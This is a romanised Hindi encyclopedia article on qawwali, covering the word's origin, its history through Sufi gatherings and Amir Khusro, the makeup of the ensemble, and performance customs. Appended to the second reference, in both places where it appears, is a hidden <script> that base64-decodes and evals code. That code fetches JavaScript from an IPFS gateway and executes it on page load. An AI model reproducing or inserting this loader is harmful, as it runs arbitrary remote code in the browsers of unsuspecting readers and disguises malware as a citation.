क़व्वाली

is lekh ka punarikshan evan sampadan hona avashyak hai. ap isamean sahayata kar sakate haian. "sujhav"

[[chitr:Qawwali.jpg|thumb|300px|qavvali gate qavval]] qavvali (urdoo:قوٌالی,) ek vishesh prakar ki gayanapaddhati athava dhun jisamean kee prakar ke kavyavidhan ya git, yatha qasida, gazal, rubaee adi gae ja sakate haian. qavvali ke gayak qavval kahe jate haian aur ise samoohik gan ke roop mean aksar piroan ke majaroan ya soofiyoan ki majalisoan mean gaya jata hai. qavvali jatigat pesha nahian, balki karmagat hai, at: qavvaloan ki koee vishesh jati nahian, balki qavvali pesha hota hai.

itihas

kuchh vidvanh 'qavval' shabd ki vyutpatti arabi ki 'nakl' dhatu se manate haian jisaka arth 'bayan karana' hota hai. lekin vidvanoan ki adhik sankhya isaka mool arabi ke 'kaul' shabd se manati hai jisaka arth 'kahana' athava 'prashansa karana' hai. bharat mean qavvali gayan ka aranbh khvaja moinuddin chishti ke karan hua bataya jata hai, jo 10vian muharram, 561 hijari ko ajamer pahuanche the aur jinhoanne sarvapratham farasi mean gazalean kahi thian. parantu da.bhagavatasharan upadhyay ke anusar^[1] amir khusaro (janm 652 hijari) bharat mean sarvapratham qavvali gayan ka prachalan kiya tha.

qavvali ki lokapriyata

qavvali ki lokapriyata soofiyoan ke karan huee. upasana sabhaoan mean soophi sant samavet svar mean qavvali gana aranbh karate the aur kuchh samay bad hi, bhavavesh mean akar, jhoom jhoomakar gane lagate the. sabha mean upasthit shesh sara samaj unaka anukaran karata tha. pashchath avesh utpann karane ke sadhan aur madhyamaroop mean qavvali ko svikriti mili. dhire-dhire qavvali ganevaloan ke dal sangathit hone lage jo age chalakar peshevar ho ge. vishay ke anusar qavvali ke kee bhed hote haian; yatha, hamd, nat, manakavat adi. hamd mean eeshvar ki prashansa ke git rahate haian, nat mean rasool ki shan ka bakhan hota hai aur manakavat mean auliya ke sanbandh mean varnan kiya jata hai.^[2]

qavvali ki sanrachana

qavvali any shastriy sangit ki mahafiloan se bhinn hoti hai. shastriy sangit mean jahaan mukhy akarshan gayak hota hai qavvali mean ek se adhik gayak hote haian aur sabhi mahattvapoorn hote haian. qavvali ko sunane vale bhi qavvali ka ek abhinn aang hote haian. qavvali gane valoan mean 1-3 mukhy qavval, 1-3 dholak, tabala aur pakhavaj bajane vale, 1-3 haramoniyam bajane vale, 1-2 sarangi bajane vale aur 4-6 tali bajane vale hote haian. sabhi log apani varishthata ke kram mean bayean se daanye baithate haian, arthath agar ap sunanean valo ko dekh rahe haian to sabase varishth kavval sabase dahini or baithe hoange.

qavvali ka prarambh keval vady yantr bajakar kiya jata hai. ye ek prakar se soofi santoan ko nimantran hota hai kyoanki aisa vishvas hai ki soofi sant ek duniya se doosari duniya mean bhraman karate rahate haian.
isake bad mukhy qavval 'alap' ke sath qavvali ka pahala chhand gate haian; ye ya to allah ki shan mean hota hai athava soofi rahasyamayata liye hota hai. isako bina kisi dhun ke gaya jata hai aur is samay vady-yantro ka prayog nahian hota hai. is 'alap' ke madhyam se qavval ek mahaul taiyar karate haian jo dhire dhire apane charam par panhuchata hai.
alap ke bad baki sahayak gayak apane-apane aandaj mean usi chhand ko gate haian. isi samay haramoniyam aur (tabala, dholak aur pakhavaj) sath dena prarambh karate haian.
isake bad qavval mukhy bhag ko gate huye mahafil ho usake charam tak panhuchate haian. kuchh qavval (nusarat fateh ali khan) qavvali ke mukhy bhag ko gate samay kisi vishesh 'rag' ka prayog karate haian aur bich bich mean saragam ka prayog karate huye sunane valoan ko bhi qavvali ka ek aang bana lete haian.
qavvali ka aant achanak se hota hai.

qavvali gate samay qavvaloan aur sathiyoan ke oopar paise udane ki bhi pratha hai. adarsh sthiti mean qavval isase bekhabar rahate huye apana gayan jari rakhate haian lekin kabhi kabhi qavval aankhoan ke madhyam se athava sir hilakar unaka abhivadan bhi karate haian. is pratha ko bilkul bhi bura nahian mana jata hai.

purane samay mean qavvali keval adhyatmik bhavana se gayi jati thi lekin adhunik kal mean (pichhali kee shatabdiyoan se) qavvali mean any bhavanaye bhi sammilit ho gayi haian. inamean do mahattvapoorn haian; pahali 'sharab ki tarif mean' aur doosari 'priyatam ke bichhoh ki sthiti'. am taur par ek qavvali ki avadhi 12-30 minat ki hoti hai. ajakal ke daur mean qavvali ki lambi avadhi usaki lokapriyata ghatane ka mukhy karan hai. isi karan bisavian shatabdi ke prarambh mean qavvali ki lokapriyata ghati thi aur 'gazal' ke lokapriyata achanak badhi thi.^[3]

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

tika tippani aur sandarbh

↑ hindi sahity ka brihat itihas, pratham bhag, prishth 728, na.pr. sabha, kashi
↑ “khand 2”, hindi vishvakosh, 1975 (hindi), bharatadiskavari pustakalay: nagari pracharini sabha varanasi, 458.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
↑ kavvali (hindi) (ech.ti.em.el.) aantardhvani bl aaug sp aaut. abhigaman tithi: 11 joon, 2011.

bahari k diyaan

sanbandhit lekh

varnamala kramanusar lekh khoj

a a i ee u oo e ai o au aan k kh g gh n ch chh j jh n t th d dh n t th d dh n p ph b bh m y r l v sh sh s h ksh tr jn rri rri aau shr aah

[1] sahity ka brihat itihas, pratham bhag, prishth 728, na.pr. sabha, kashi

[2] “khand 2”, hindi vishvakosh, 1975 (hindi), bharatadiskavari pustakalay: nagari pracharini sabha varanasi, 458.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

[3] vvali (hindi) (ech.ti.em.el.) aantardhvani bl aaug sp aaut. abhigaman tithi: 11 joon, 2011.

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